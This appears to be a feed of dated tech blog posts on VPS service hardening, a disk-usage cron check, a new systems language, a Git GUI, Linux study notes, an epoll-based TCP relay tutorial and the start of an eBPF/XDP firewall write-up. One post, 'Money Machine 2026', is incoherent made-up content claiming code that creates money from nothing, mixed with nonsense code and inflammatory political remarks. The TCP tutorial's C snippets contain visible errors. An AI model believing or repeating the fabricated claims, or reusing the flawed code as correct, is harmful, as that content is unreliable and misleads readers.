frontend references
active TCP connections
WebSocket usage
service routes

The frontend already targeted the service internally:

const API_TARGET = 'http://127.0.0.1:5002';

There was no nginx route sending external traffic directly to 5002.

No active external dependency was visible.

So we changed the listener to:

httpServer.listen(PORT, '127.0.0.1', () => {

Again:

backup
→ syntax check
→ restart one process
→ verify socket
→ verify health

The service remained reachable locally.

The frontend proxy returned a 404 for one test route rather than 502.

That difference was useful.

A 404 meant:

upstream reachable, route missing

A 502 would have meant:

upstream unreachable

That distinction prevented us from treating a valid hardening step as a regression.

The interesting part: a broken TAZ contract

During the dependency review, we found a frontend WebSocket client that constructed:

`${protocol}//${window.location.host}/api/taz/live`

The TAZ interface also expected:

GET /api/taz/dashboard
GET /api/taz/xmr/summary
WS  /api/taz/live

At first this looked like something that might have been affected by our network changes.

So we tested the production gateway directly.

The results were:

404 Cannot GET /api/taz/dashboard
404 Cannot GET /api/taz/xmr/summary
404 Cannot GET /api/taz/live

This was important.

The feature was already incomplete.

The hardening work had not broken it.

That leads to one of the most useful lessons from the whole exercise:

A failure discovered during infrastructure work is not automatically caused by the infrastructure change.

Always reproduce the behavior against the actual upstream service.

Nginx was doing exactly what it should

The production nginx configuration routed:

location / {
    proxy_pass http://localhost:5173;
}

location /api/ {
    proxy_pass http://localhost:5003;
}

So /api/taz/live already reached the production gateway.

The gateway returned the 404.

That meant blindly adding WebSocket proxy headers such as:

proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";

would not solve the real problem.

A reverse proxy cannot invent an application endpoint.

There was already a realtime subsystem

Repository inspection revealed something more interesting.

MyZubster already contains a realtime implementation based on Socket.IO.

Its server path is:

/realtime

and supporting HTTP routes are mounted under:

/api/realtime

The realtime code exposes an explicit attachment function:

attachRealtimeServer(httpServer)

This changed the architecture question completely.

Instead of asking:

How do we build a new WebSocket service for TAZ?

the better question became:

Can TAZ reuse the existing realtime stack?

Maintaining two separate realtime systems would add unnecessary complexity unless there is a strong protocol reason.

Source code and production runtime were not the same thing

There was another subtle mismatch.

The repository's normal backend startup path includes:

attachRealtimeServer(server)

But the active systemd service starts:

/root/myzubster/scripts/start-gateway-systemd.js

and that startup path currently creates the server with:

const server = app.listen(port, host, ...)

without obviously attaching the realtime server.

So the repository may support realtime while production does not actually expose it.

This is a recurring infrastructure lesson:

Repository architecture is not runtime architecture.

A feature being present in source code does not prove that the active service manager actually executes it.

The authoritative chain is closer to:

systemd / PM2
→ executable
→ startup script
→ imported modules
→ bound socket
→ reverse proxy
→ externally observed response

That chain matters more than a repository grep.

Do not fabricate telemetry to make a dashboard look alive

The TAZ frontend expects values like:

drinksServed
xmrReceived
robot.status
transactions

During repository searches, we found unrelated simulation and robot data.

It would have been technically easy to wire some of that into the dashboard.

We deliberately did not.

A live interface must not display simulation values as if they were production evidence.

Our rule was:

no authoritative source → no authoritative metric

A degraded dashboard is more honest than a beautiful dashboard with fabricated telemetry.

What changed

The hardening work produced two concrete improvements:

MyZubsterWeb
0.0.0.0:5173
→
127.0.0.1:5173

and:

Urban Lab
*:5002
→
127.0.0.1:5002

The main gateway was already:

127.0.0.1:5003

nginx HTTPS continued to work.

Docker verification environments were not disturbed.

PM2 state was persisted only after verification.

No destructive Git operation touched the live checkout.

What we deliberately did not do

A large part of safe infrastructure work is knowing what not to touch.

We did not:

restart every PM2 application
reset firewall configuration
expose additional ports
modify nginx before proving nginx was the problem
connect TAZ to an unrelated WebSocket server
feed simulation values into production telemetry
reset or pull the live Git checkout
treat code presence as runtime proof

Those non-actions were part of the engineering result.

The Contributor Verification Node model

The broader goal is to evolve the VPS toward a structured Contributor Verification Node.

That should not mean giving every contributor unrestricted shell access.

A safer pattern looks like:

SSH identity
   ↓
dedicated Unix account
   ↓
dedicated workspace
   ↓
container / sandbox
   ↓
explicit mounts
   ↓
explicit network permissions
   ↓
reproducible verifier
   ↓
immutable evidence

The node should prove that a technical checkpoint can be reproduced.

It should not silently become a shared production administration box.

Current state

At the current checkpoint:

5173  localhost-only  ✅
5002  localhost-only  ✅
5003  localhost-only  ✅
nginx HTTPS           ✅
PM2 persistence       ✅
TAZ HTTP endpoints    missing
TAZ live WebSocket    missing
realtime subsystem    present in source
production realtime   wiring under review

This is not a flashy infrastructure milestone.

But it is a useful one.

We now know more precisely:

what is actually listening
which services need external exposure
which assumptions in the frontend are currently false
which realtime infrastructure already exists
where production startup differs from repository design

That is enough to make the next change smaller and safer.

Final takeaway

The most valuable part of production hardening is often not the final configuration.

It is the discipline of reducing uncertainty.

For every service, ask:

What process owns it?

Who actually needs to reach it?

Does it need to bind globally?

Which reverse proxy reaches it?

What does production really execute?

How will I prove the change did not break anything?

The result is not just a smaller attack surface.

It is a better mental model of the system.

And once the runtime model is accurate, contributor verification becomes much easier to isolate, reproduce, and trust.

Catch a filling disk weeks before it becomes an outage

Tue, 06 Oct 2026 13:00:00 +0000

A disk almost never fails loudly. It fills a percent at a time until writes stop, and at 100% nothing reports "disk full" — the database throws write errors about its own files, apps crash-loop, and logging (a write itself) stops recording at the exact moment you need evidence. You end up debugging five fake problems instead of one real one.

The prevention costs one line on a daily cron:

df -h | awk 'NR>1 && $5+0 >= 80 {print $0}'

NR>1 skips the header. $5+0 is the trick: df's Use% column is a string like 82%, and awk's numeric coercion keeps the leading digits and drops the %, so the threshold comparison works without cut or sed. Pipe any output to mail -s and you get an email the day a filesystem crosses 80.

Why 80? At 80% a disk growing one percent a day leaves you weeks to investigate with du -ah | sort -rh | head -20. At 95% you're deleting files under pressure; at 100% every service on the box misbehaves at once.

This check is #1 in a set of 25 cron-ready bash scripts for sysadmins covering disk monitoring, backups, service watchdogs, SSL expiry, and port audits.

We Promise Transparency. Not the "Liquid Glass" Kind.

Tue, 06 Oct 2026 11:10:46 +0000

Let's get the joke out of the way first, because I can already see someone's fingers hovering over the comment box: no, when we talk about "transparency" here, we are not launching a translucent UI skin with rounded corners and a marketing deck about "depth" and "light." Nobody's redesigning your icons to look like they're floating in a glass of water. Apple can keep that one. Transparency, as we mean it, isn't about making things look like glass. It's about making sure there's nothing opaque left to hide behind in the first place.

Transparency Is the Rarest Feature in Modern Software

Here's the uncomfortable observation that started all of this: almost nothing you run today will actually tell you what it's doing. You call a function, and underneath it, a dozen layers you never asked for quietly make decisions on your behalf — a runtime schedules something, an allocator decides where your data actually lives, a framework "helpfully" retries a failed call you didn't know could fail, a standard library wraps three other standard libraries you've never heard of. Most of the time that's a perfectly reasonable trade. Most software genuinely benefits from not making every engineer re-derive memory management from first principles on a Tuesday.

But somewhere along the way, "we abstracted this for your convenience" quietly turned into "we abstracted this so thoroughly that nobody on the team, including us, can tell you with certainty what your program actually does when it touches the kernel." That's not convenience anymore. That's a black box with a changelog. And an entire generation of developers has been trained to treat "it works, don't ask why" as an acceptable final answer, because asking why usually means descending through four more layers of someone else's unexamined assumptions.

Developer transparency, the version we actually care about, is the opposite stance, stated plainly: no hidden magic, no invisible runtime quietly squatting on your CPU cycles like a tenant you never agreed to lease to, and no stack of "convenience" layers standing between your code and the hardware that's supposed to be running it. You should be able to point at any behaviour your program exhibits and trace it to a decision — yours, specifically — not to an abstraction that made the call for you somewhere you'll never see.

This is where Gloria comes in, because it's the sharpest, most literal expression of that idea we've built so far.

What Transparency Actually Looks Like in Gloria

When you write something in Gloria, you know exactly what instruction goes to the CPU, exactly what memory gets mapped, and exactly which register is holding your data at any given moment. You are not down on one knee, hat in hand, begging a heavyweight framework or a sprawling C standard library to please do the thing for you. You own the execution, start to finish, with nobody else's fingerprints on it.

From a Linux perspective, Gloria treats the kernel as its one and only direct interface. No linking against glibc. No standard C startup routine quietly initializing half a universe of state before your main function has even had the decency to run. Gloria generates self-contained, raw ELF64 binaries for AMD64, and that's genuinely all that's in there.

When your code needs to open a socket, allocate memory, or spin up a bit of lightweight concurrency, it doesn't go politely knocking on some third-party wrapper function's door and waiting to be let in. It loads the syscall number straight into RAX, lays out the arguments exactly per the System V AMD64 ABI, and hits the kernel directly with a syscall instruction. No chaperone. No translation layer quietly editorializing your request on the way through. The resulting binaries stay under 9KB, because there is precisely zero runtime bloat riding along for the trip. Put that next to the multi-megabyte "hello world" some modern frameworks ship by default, and you start to get an honest sense of exactly how much weight we've actually cut.

Why This Needed to Exist at All

Here's the pitch, cynicism included at no extra charge: modern systems engineering has gone soft. Not incompetent — soft. Comfortable. Padded on every side with abstractions that exist specifically to protect you from having to understand what your own program is doing. Most software doesn't need to care which register holds a value. This project exists for the software that does, and for the engineers who'd rather know than be protected from knowing.

We wanted something that gives you the raw control and speed of C, the type expressiveness and memory-safety thinking of Rust, and the dead-simple concurrency model of Go — minus the overhead each of those languages still quietly carries around. This is built for the specific kind of developer who needs to wring every last drop of performance out of a box, who's writing ultra-fast microservices, custom network infrastructure, or logic that has to survive on genuinely minimal resources, where every kilobyte and every CPU cycle is a line item somebody's actually tracking, not an abstraction nobody bothers to measure.

The Roadmap, Stated Without the Usual Hedging

Our self-hosting plan is straightforward and, I'll admit, a little uncompromising. Right now, the ForgeZero compiler, fz, is written in Go. That's a deliberate choice, not a compromise we're quietly hoping nobody notices — Go let us bootstrap the language fast, iterate on syntax without a chicken-and-egg problem slowing every decision down, and shake the remaining edge cases out of the lexer, parser, and semantic checker while the ground was still allowed to move under our feet.

But Go is a bridge, not a destination. The actual milestone the entire Gloria ecosystem is being built toward is full self-hosting. We're building out the language constructs, inline assembly support, and memory primitives specifically so that Gloria can eventually compile its own compiler, from scratch, with nothing borrowed. The day fz is rewritten in pure Gloria is the day we cut the last external dependency loose entirely — and the day this architecture stops being "an interesting idea with training wheels" and starts being something you can point at and say, flatly, that it's ready for serious production.

That's the whole philosophy, really, scaled up from one register to an entire compiler: nothing in this stack should exist that we can't fully explain, and nothing should run that isn't accountable to someone who actually understands it.

Watch It Happen Instead of Reading About It Later

If any of this is the kind of problem that genuinely interests you — not the polished retrospective six months from now, but the actual process, bugs included — we post it all in close to real time on our Telegram channel, @forgezeroteam. Build updates, broken things, fixed things, syntax decisions argued out loud before they're final. It's faster and considerably more honest than waiting for the cleaned-up version to show up here.

No liquid glass. No rounded corners pretending to be depth. Just a binary you can actually read, a register you can actually name, and a compiler that, one day soon, won't owe its existence to anything but itself.

I wanted Git to show me what would happen before changing history, so I built it

Tue, 06 Oct 2026 09:55:16 +0000

I use Git every day, but one thing has always bothered me:

when you do something that changes history, a lot of Git tools still basically ask you to understand the command first and trust that the result is what you expected.

I wanted something more visual.

So while building RepoBeam, I added a before/after preview for operations like going back to an older commit.

Instead of clicking the action and hoping I understood it correctly, RepoBeam first shows me what the repository will look like afterwards.

For example, when going back to a commit I can choose whether I want to:

restore the files as normal unstaged changes
restore them already staged
create a new restore commit when rewriting published history would be unsafe

And RepoBeam shows the expected history before I confirm anything.

The idea is simple:

show me what Git is going to do before it does it.

RepoBeam actually started for a different reason.

I used Fork for a long time on Windows. When I started working more on Linux, I tried GitKraken, Sublime Merge, SmartGit, GitButler and a bunch of smaller clients, but I never found one that really felt like the Git GUI I wanted to use every day.

So I started building my own.

Over time it turned into a full Git client with:

local changes and staging
split/unified diffs
commit history and graph
branches and remotes
stashes
guided conflict resolution
before/after Git previews
Coding Sessions

Coding Sessions

This is another part I use a lot now.

When I start working with Codex or Claude, I start a Coding Session in RepoBeam first.

RepoBeam then organizes everything that changes during that session.

I can review the files afterwards, undo one change, bring it back, keep the rest, or undo the entire session.

It does not replace Git or create some separate version-control system. It works with normal Git repositories.

RepoBeam currently runs on Linux and Windows.

Linux builds are available as:

.deb
AppImage
Snap

Private repositories work, no RepoBeam account is required, and the app is free to use including for work.

https://repobeam.com

I released 1.8.3 this week and this is the first time I'm seriously putting RepoBeam in front of developers I don't know.

The thing I'm most curious about:

Would a before/after preview like this actually make you more comfortable with Git history operations, or do you prefer seeing the underlying Git command directly?

Linux in Practice: Files, Directories and Archives — Chapters 7-9

Tue, 06 Oct 2026 03:00:24 +0000

Last week I continued my Linux Essentials revision, working through Chapters 7-9. If the first two weeks were about reconnecting with the system from the outside in, this week was about going back over the things I use daily, files, directories, archives, and actually sitting with the reasoning behind habits I've had for years.
Here's how the week unfolded.
Chapter 7: Revisiting Where Things Belong
I've navigated a filesystem for years, but this chapter asked a question I'd stopped asking a long time ago: why do things live where they live?

Went back over how Linux organises files and directories, and the logic behind that structure
Re-grounded myself in key directories: /home, /etc, /tmp, /usr, /var
Practiced pwd, cd, and ls with intention again, instead of on autopilot
Revisited the difference between absolute and relative paths, properly this time
Reviewed the shortcuts I use without thinking: . (here), .. (one up), ~ (home)
Went back to reading ls -l output closely and spotting hidden files, instead of scrolling past them

Tip: /etc holds configuration, /var is where things change over time, like logs and caches. Revisiting that distinction alone makes troubleshooting someone else's system far less intimidating.
Chapter 8: Re-earning My Respect for rm
This chapter covered commands I already use often, but I made a point of slowing down and sitting with what each one actually does, instead of relying on muscle memory.
Wildcards and globbing first:

*    # matches anything
?    # matches one character
[ ]  # matches a set of characters

Then the fundamentals, revisited properly:

cp       # copy
mv       # move / rename
touch    # create a file
rm       # remove a file
mkdir    # create a directory
rmdir    # remove an empty directory

Tip: rmdir only removes empty directories. A small detail, but it's Linux quietly protecting you from yourself.
Chapter 9: The Revision I'd Been Looking Forward To
Archiving and compression. This chapter finally untangled a distinction I'd been blurring for years without realising it: archiving bundles files together, compression shrinks them. Two different jobs, often performed together, but never quite the same thing.
I also went back over lossless versus lossy compression, lossless preserves every bit, lossy trades some quality for a smaller file size.
I practiced with:

gzip / gunzip     # compress / decompress
tar               # create, list, extract archives
zip / unzip       # work with ZIP files

And the tar options genuinely worth remembering:

-c    # create
-t    # list
-x    # extract
-f    # specify the archive file
-z    # gzip compression
-j    # bzip2 compression
-v    # verbose output

Tip: tar -czvf archive.tar.gz folder/ is essentially the one line worth memorising from this entire chapter.

What This Revision Taught Me

This block of chapters felt different from the first two weeks. Less "what does this word even mean," and more "I already know this, I'm just understanding it properly for the first time." Organising a project folder, archiving it cleanly, navigating a system with purpose rather than habit, it's a reminder that revision isn't just repetition, it's where the real understanding actually settles in.
Chapters 10 and beyond, coming soon.

The Duchess of Hackers
Full-Stack Developer | Digital Marketer | Cybersecurity Enthusiast

I wrote bi-directional tcp congestion control... and survived!

Sun, 04 Oct 2026 07:11:48 +0000

I'm back again after a loong break but this time I have done a lot of things apart from what I said in the last blog (obviously 🙃).

This time I'll be discussing on how I wrote the logic for using TCP in an event loop even though it is a stream oriented protocol. So my idea was simple but it took a long time to come, and this time it was purely my idea — I was sleeping and suddenly I woke up in the middle of the night and my brain was like "Hey, what if we write the size of the packet in it?" and I was like "BROO, right now?"

That did not happen exactly 😂. I simply slept without acknowledging the idea and the next day I woke up and again thought for an hour and then I remembered about this idea.

So what was the idea?

The idea is that say I have my TCP packet wherein I have some fixed size data (we'll do variable size later). Now its really easy in UDP just because UDP is packet oriented which means it preserves packet boundaries meanwhile TCP does not (that's one of the reasons why it is so good!)

So how do we get this amazing UDP property from TCP? The idea is simple, write down the packet size on the packet itself.

Say you have the packet struct defined as:

struct myPacket {
    size_t packetSize;
    int someData;
    char someData2;
    // ...some more data
};

Now here, we if do sizeof(struct myPacket) we will get the answer as 16 (yes it's not 13 as I expected earlier because of compiler adding some padding to make 13 a multiple of 4 which makes it easier for the CPU to fetch the pages from memory).

And the value of the packetSize member is 16. So now picture this, you're doing

int got = read(fd, buf, ???);

Here you don't know the value you should put into your buffer since you don't know what packet is coming. But now if every packet sent by the other side (which is also your own code, atleast in my case it is 😂) has this size defined as the first member of the struct you could simply do this:

int got = read(fd, size, sizeof(int));

And once you get that, read the value of buf and figure out the packet size like this:

int size;
int got = read(fd, &size, sizeof(int));

if (size == sizeof(struct myPacket)) {
    struct myPacket *mp = malloc(size * sizeof(char));
    mp->packetSize = size;
    got = read(fd, (char *)mp + sizeof(int), size - sizeof(int));
}

Here I've written more code than needed because I wanted to make it look more "complete" 😅

What's happening here is that first we read an int from the stream. now this int contains the size of the packet (ofc, you'd need ntohs here, but I figured that'd make this more hard to read). And then you simply read the rest of the packet in a struct. Now you don't have to read the remaining data at the start of the struct hence the mp + size instead of mp alone. Now I know it would be much better and safer to use offsetof but for an example this works great.

Anyways this was when everything is great and life is simple. But sadly that ain't true (I wish it was ). So now what if the data hasn't arrived yet? I mean the member someData has arrived but someData2 is still travelling on the network. And when you demand for the entire data read does something clever, it simply blocks you. And that is not a good thing when you're in an event loop since the kernel does not know that you're doing multi threading without telling it and one such blocking call is quite deadly since the entire process goes into the blocked state until the packet is not complete.

Think about that for a second, until the entire packet arrives, no heartbeats, no voting, nothing the node can do. For the node it simply underwent time travel 😵. So we do not want to handle time glitches in a system that is already handling a thousand other things. So the kernel gives us a solution, make the read function non blocking (hurray!). I already wrote this in the previous blog but I'll anyways repeat it. So once the read function is non-blocking we have the control to what we want to do except sleeping.

So here's the thing, the Assigner I have in mind acts as a congestion control for the Gateway and the Worker and hence it looks something like this:

So if suppose the diagram was simpler with the Gateway Data (IN) going to Worker Data (OUT). Now in this case if the Gateway sends more data than what I can store (say, my TCP buffer is full as well as the buffer I allocate using malloc) but the worker is slow and hence the buffer in the workers side sending data eventually fills up and no more data can go in. To visualize it:

So here as you see the data flows in chunks, green indicates the data is there but the buffer is not yet full. Then red indicates the buffer is full and there is not space. So now to implement congestion control I need to stop the gateway when the worker's internal buffer fills up. And since we're using epoll how do we do this?

First thing we do is add the events EPOLLIN and EPOLLOUT to both the sockets along with EPOLLET. Now you'll find the descriptions in the man pages of epoll (7) but its better if I maintain the flow here. So EPOLLET simply means that if the buffer was full and now some data is removed tell me and if the buffer was empty and some data has come in tell me. It won't tell you unless the extremes change, i.e., if new data arrives and there was data previously which you forgot to read, you're basically dead meat 😂, epoll in EPOLLET mode won't tell you if something like that happens. It simply ignores that but if you're in the default mode (i.e., you don't have the flag added) you'll get a totally normal behaviour of epoll continuously waking you up when data is available.

However, in this case the best thing is to use EPOLLET with EPOLLIN and EPOLLOUT. And that is better explained with a visual 😁:

There's a ton of steps but believe me its easy once you understand it (wait for two way congestion control 😁)

Step 1: the gateway sends data and the data is stored in the internal buffer of the socket and the EPOLLIN event is triggered for the gateway socket

Step 2: the assigner reads all the data from the gateway and empties out the internal buffer and puts that data into its own buffer.

Step 3: the assigner writes that data to the internal buffer of the worker socket.

Step 4: more data comes from the gateway, and steps 1-3 repeat.

Step 5: Now the worker socket's internal buffer is full hence send returns -1 with errno set as EAGAIN. So now the assigner will simply remove the EPOLLIN event from the gateway socket. So now even if the gateway sends the data, TCP will simply not allow data to flow because its own buffer is full.

Step 6: The gateway is fast and won't stop so the gateway socket's internal socket gets full. But since the assigner does not read the data, TCP by default stops the data transfer until the data is read.

Step 7: Once the worker reads something, its EPOLLOUT event will trigger because the buffer was full and now it is not hence EPOLLOUT. So now the assigner will first empty its own buffer (not visible in the diagram since it would have introduced a lot more steps) into the workers socket. Now if only some data goes in and the send function again returns an error we don't have an option and we simply wait on the EPOLLOUT event again. But if all the data is sent from the assigner's buffer, the assigner will read more data from the gateway socket. And this newly read data will also go to the worker socket.

Step 8: This newly read data might not again be fully absorbed by the send function hence we don't change any events on the sockets.

Step 9: Now the case when we read from the gateway socket and it returns a value less than the size of the buffer we specified. This means that the gateway has stopped sending the data from the other side and the gateway socket is completely drained. Now what? We simply add the EPOLLIN event to the gateway socket. So now the gateway socket has the EPOLLIN and EPOLLOUT events attached to it.

Step 10: Now keep on feeding the worker until the assigner's buffer isn't empty. Once the assigner's buffer is also empty we simply do nothing since that is the last time the EPOLLOUT event will trigger. From then on the buffer will be at the minimum 1 byte not filled unless the gateway starts sending like a freak again 😂

So that's all the steps the visual is trying to explain. Now you should have a question that why we're using EPOLLIN and EPOLLOUT instead of using only the events which are actually needed. So the gateway never uses EPOLLOUT and the worker never uses EPOLLIN then we should keep the other events for these sockets right?

That's where the bi-directional congestion control comes into play 😁

Bi-directional Congestion Control?

So now you know how we can do congestion control in a single direction but a node will always send and receive so things are never so simple

First you can try to figure out the bi-directional congestion control mechanism yourself but I'll anyways explain it to you.

So as you see in the diagram below you have two sockets each side:

And you have to make sure congestion control in one direction does not interfere with the data flow of the other direction

Firstly let's name the sockets:

GIN - Gateway Data IN
GOUT - Gateway Data OUT
WIN - Worker Data IN
WOUT - Worker Data OUT
GTW - Gateway To Worker data flow
WTG - Worker To Gateway data flow

Note: Here GIN and GOUT are a single socket because TCP is a duplex connnection but for a better understand I have shown them separately. And the same goes for WIN and WOUT

So now if the Worker has a lot of output to send to the gateway your WIN socket will keep on throwing EPOLLIN events whenever you finish reading it. But then at the same time if the WOUT was full and you've kept only EPOLLOUT then you'll be in trouble because then you won't receive EPOLLIN.

So there is a clever strategy I developed on my own (yeah, this time no gemini brainstorming sessions 😂). You always keep EPOLLOUT on all the OUT sockets. So this means we have EPOLLOUT on WOUT and GOUT. Now you should ask:

Why meet why?

This is because having EPOLLOUT along with EPOLLET gives you a solid advantage to handling bi-directional congestion control. Firstly EPOLLOUT is only ever triggered when the socket goes from totally full to a not full state. So you won't be handling the EPOLLOUT event when some data goes out every time but only when the socket was full and not has at mininum a single byte of free space.

So now that EPOLLOUT is not going anywhere the only event we will ever add/remove is EPOLLIN (EPOLLET is the default, like EPOLLOUT it won't go anywhere 😁). So the advantage of only ever changing EPOLLIN is that if I remove the EPOLLIN from WIN and wait for GOUT's EPOLLOUT to trigger, I can still handle EPOLLIN from GIN or wait for WOUT's EPOLLOUT without having to worry about what the other side is doing.

Isn't that a great advantage? I mean for my case it works pretty well

Let's code it

So for a bi-directional congestion control mechanism I am not sure if a visual will help or just leave you confused but here it is anyways 🙃

This two way congestion control is working in a similar way to the one way congestion control except now its happening at two places simultaneously 😵

Now its easier to see this in code. So first let's assume some things:

There is a socket named w and a socket named g and in here both are TCP sockets so WIN and WOUT both are w itself and similarly GIN and GOUT both are g itself.
Both the sockets are added to a epoll loop and the loop is configured in a way that it runs either of the two functions on any event received and also passes the events down
resetEpollEvent is a function which takes in the socket and the new events to be added to the socket

So first we write the gateway handler (EPOLLIN for now):

void *handle_gateway(void *args) {
    int events = *(int *)args;
    if (events & EPOLLIN) {
        // data received on g
        int size = recv(g, buf, sizeof(buf));
        sent_size = send(w, buf, size);
        if (sent_size != size) {
            // all data was not sent, the buffer is full!
            resetEpollEvent(g, EPOLLOUT | EPOLLET);
            size_to_send = size - sent_size;
        }
    }
}

And similarly you can guess the EPOLLIN branch for the worker handler:

void *handle_worker(void *args) {
    int events = *(int *)args;
    if (events & EPOLLIN) {
        // data received on w
        int size = recv(w, buf, sizeof(buf));
        sent_size = send(g, buf, size);
        if (sent_size != size) {
            // all data was not sent, the buffer is full!
            resetEpollEvent(w, EPOLLOUT | EPOLLET);
            size_to_send = size - sent_size;
        }
    }
}

Now these were for the EPOLLIN event but now let's write the gateway to handle the EPOLLOUT event as well:

void *handle_gateway(void *args) {
    int events = *(int *)args;
    if (events & EPOLLOUT) {
        // now g can be fed some data
        int size = send(g, buf, size_to_send);
        if (size == size_to_send) {
            // all data was sent! take more and send
            int sent_size = 0;
            size = recv(w, buf, sizeof(buf));
            while (size != -1) {
                sent_size = send(g, buf, size);
                if (sent_size != size) {
                    // the buffer is full again!
                    size_to_send = size - max(sent_size, 0);
                    // here max function is implicitly declared and its purpose is to keep sent_size as a minimum 0 in cases where sent_size might become -1
                    break;
                }
                size = recv(w, buf, sizeof(buf));
            }
            if (size == -1) {
                // yay! all data was sent!
                resetEpollEvent(w, EPOLLIN | EPOLLOUT | EPOLLET);
            }
        }
        // if the size does not match what we want to send, then just keep waiting again
    }
}

I know its a bit longer code than what I wrote for EPOLLIN but I assure you it is worth the dive 😁

And now you should try writing the code for the worker's EPOLLOUT branch yourself (Hey, I'm not lazy 😑)

Apart from the EPOLLIN and EPOLLOUT events you also have 3 events to tell you that the connection is cut EPOLLRDHUP, EPOLLHUP and EPOLLERR these three together can detect almost any kind of connection cuts.

EPOLLRDHUP detects if a socket is closed from the other side of the network as in using the shutdown function which I think no one generally uses 😂. If this event occurs, your socket is writable but not readable and the writability is local, the peer won't be able to read what you wrote if it has closed its reading end.
EPOLLHUP also detects if a socket is closed from the other side but this event detects any errors from the socket and if this event happens then your socket is neither readable nor writable.
EPOLLERR detects some error that happened on the socket. Yeah that's it 😂

Now this was congestion control and tcp packet parsing but both aren't independent, you'll have to handle both together so the parsing happens on the data that comes from the data flow mechanism which also handles congestion inside itself

But now that you do know the concept this should be much easier. And yeah I struggled to come up with the idea first and then struggled more to implement it but then combining both seemed trivial once I had them independently done.

If I can do it, you can too!

— Some genius (Me 😜)

Just joking! The parsing and congestion control should mostly never overlap since congestion control is for a middleman like an assigner and parsing is for a consumer like a worker or a producer like a gateway (could be the other way round too). A consumer always consumes at its own pace and a producer produces at its own pace and hence the middleman needs congestion control.

In my case the worker (consumer) uses a blocking socket hence even if it is slow or fast does not matter since it will experience time glitches which are fine in my case.

Conclusion

I hope you did not get confused and got to learn something good from this blog but I'm happy to answer any questions you face in the chats.

Disclaimer: Meet can make mistakes, always verify with someone/something

The packet parsing was a bit trivial once I added the size member to the head of the struct. But figuring out the congestion control mechanism demanded me to look into TCP's congestion control (which was of very little help) and in general congestion control and mix them up and create a new mechanism. But then that mechanism was, I'd say, not so "good" hence I threw it in the trash and explored distributed algorithms like paxos, raft and distributed systems like bit torrent and one morning my brain wished me a "Good Morning" with this idea and I was surprised I could think of such a good mechanism. (Yeah I'm proud of my creation, for the first time though 😁)

Currently I'm also new to the distributed realm and you're a better expert than me so if you spot any mistake in my approach or anything please do let me know, I'm more than happy to recreate a new mechanism from scratch and throw this in the trash too 😂 but the new one should be worth it!

So, what's next?

Currently I'm learning some Rust cause I heard it is a harder language than C and I just want to see exactly how hard it is. I'm starting with the fundamentals and mostly using the book The Rust Programming Language which is not exactly a book but a webpage. And I think its pretty awesome since this is the first community I saw making such an amazing and deep "documentation".

And the next time I'm going to discuss on linux containers and how to use OverlayFS on the containers. Also I "might" discuss about GARP and OPFS but all depends on time 😁

Money Machine 2026

Sun, 04 Oct 2026 00:00:08 +0000

Salaam. Par la barbe du le Prophet, Allahu akbar. In the Kowloon area and in New Territories we see a lot of our fellow coders in need. Long bread lines, people huddled in gutters sleeping. This really bothered our team one day while we were on our way to the temple to pray and then visit the mosque with our client from KSA. We took a vow, an oath, that not another person will die on our streets. Instead, we would invent a money machine that would work like a money tree. Furthermore, we insisted from the very start that the machine must work on Linux and Apple but we excluded 3270, C64, C128 and iPad 2. Why Linux and Apple? Some sad sacks are stuck using Apple so we wanted to reach out a lifeline to them. Linux users are the most sought-after commodity on the mainland for employment and boyfriend material. Therefore, naturally our software leans toward Linux because we like the elite way Linux functions flawlessly. The line execution, compilation and eco-system appeal to many Hong Kongers.

After much research and time cruising around the harbour we fell upon a group of functions compiled in COBOL, Fortran and html which effectively produce money out of thin air provided the money pump is primed. This invention will allow our team to do the charity work we want to do and donate to Gaza, Lebanon and Tehran relief.

function getNetanyahu() {
if (benInJail = 'right') {
var buyThis = document.getElementById('calculation').value;
}
}

As you can see from the sample code, there is a lot of math involved and variables. The algorithm looks for arbitrage opportunities like if Game Stop stock owns $5 bln crypto and it dips to $4 bln market cap, that type of move is flagged in the system. A variable named goodTickers tracks names like that and compares them along with considering user inputs then issues output. If the user indicates they are in favour of Gaza extinction, the IP address is blocked and logged. To see log view sitemap.

It is fully online and Sharia compliant. No downloads or logins needed. Fast, easy to use front end programmed in raw html and java, css.

We are glad that we are able to share this vital project with our brothers and sisters around the world. Now nobody needs to be poor anymore, the money machine has finally arrived.

One charity work we plan is to rent a few floors of a Rafah or Gaza City high rise and brand the building as our tower, Iowa AI. Then, hire locals and internations, mostly work at home. The hirees will receive resume building and training. This is a workaround for many because the onboarding at Robin Hood is not considered good by our focus group results. In other words, some young people have been locked out of the capital markets and we want to give them a chance and all ages to build their resume and have a job working in the coding industry. Other projects we plan: Passing out blankets and pillows. Passing out restaurant gift certificates to our brothers and sisters and non-binary in need. Salaam and aomm Waheguru.

function getMoney() {
if (veggiez > halal) {
hariKrishna = 'Get money yall';
}
}

Building a Line-Rate Linux Kernel Firewall in Pure Rust with Aya and eBPF/XDP

Sat, 03 Oct 2026 13:29:33 +0000

Volumetric Distributed Denial of Service (DDoS) and transport-layer flooding attacks pose an existential challenge to modern cloud infrastructure, edge gateways, and container workloads.

Conventional Linux packet filtering utilities such as Netfilter (iptables and nftables) evaluate incoming frames only after the kernel has allocated a socket buffer (sk_buff) descriptor and scheduled softirq processing through the core TCP/IP stack. Under multi-gigabit line-rate flood conditions (millions of packets per second), the operating system spends the vast majority of its CPU cycles simply allocating and freeing sk_buff memory metadata, triggering kernel starvation and packet drop bottlenecks even before firewall rules are evaluated.

To address this fundamental OS-level bottleneck, I built xdp-guard: a production-grade, memory-safe in-kernel defense engine and per-IP rate limiter implemented strictly in Pure Rust using the Aya eBPF framework.

Why eBPF / XDP at the Driver Layer?

The eXpress Data Path (XDP) provides a programmable, bare-metal packet processing execution hook directly inside the Network Interface Card (NIC) driver subsystem before any memory descriptor allocation occurs.

Conventional Path:
[NIC RX] -> [IRQ / SoftIRQ] -> [Allocate sk_buff] -> [Netfilter/iptables] -> [Socket / App]
                                      ^
                           Severe CPU Allocation Overhead

xdp-guard Path:
[NIC RX] -> [eBPF / XDP Driver Hook] ---> (Match Blocklist) ---> [ XDP_DROP ] (Near-Zero CPU)
                             |
                      (Match Allowlist)
                             |
                             v
                   [ Pass to OS Stack ]

When hostile or unapproved packets are identified, returning XDP_DROP causes the network driver to immediately recycle the packet ring buffer without allocating a single byte of kernel socket memory.

Architectural Highlights

1. Zero C Dependencies (Pure Rust)

Traditional eBPF tools rely heavily on C toolchains (clang, llvm, libbpf). xdp-guard is built entirely in Rust from the user-space management CLI down to the no_std kernel eBPF bytecode using Aya.

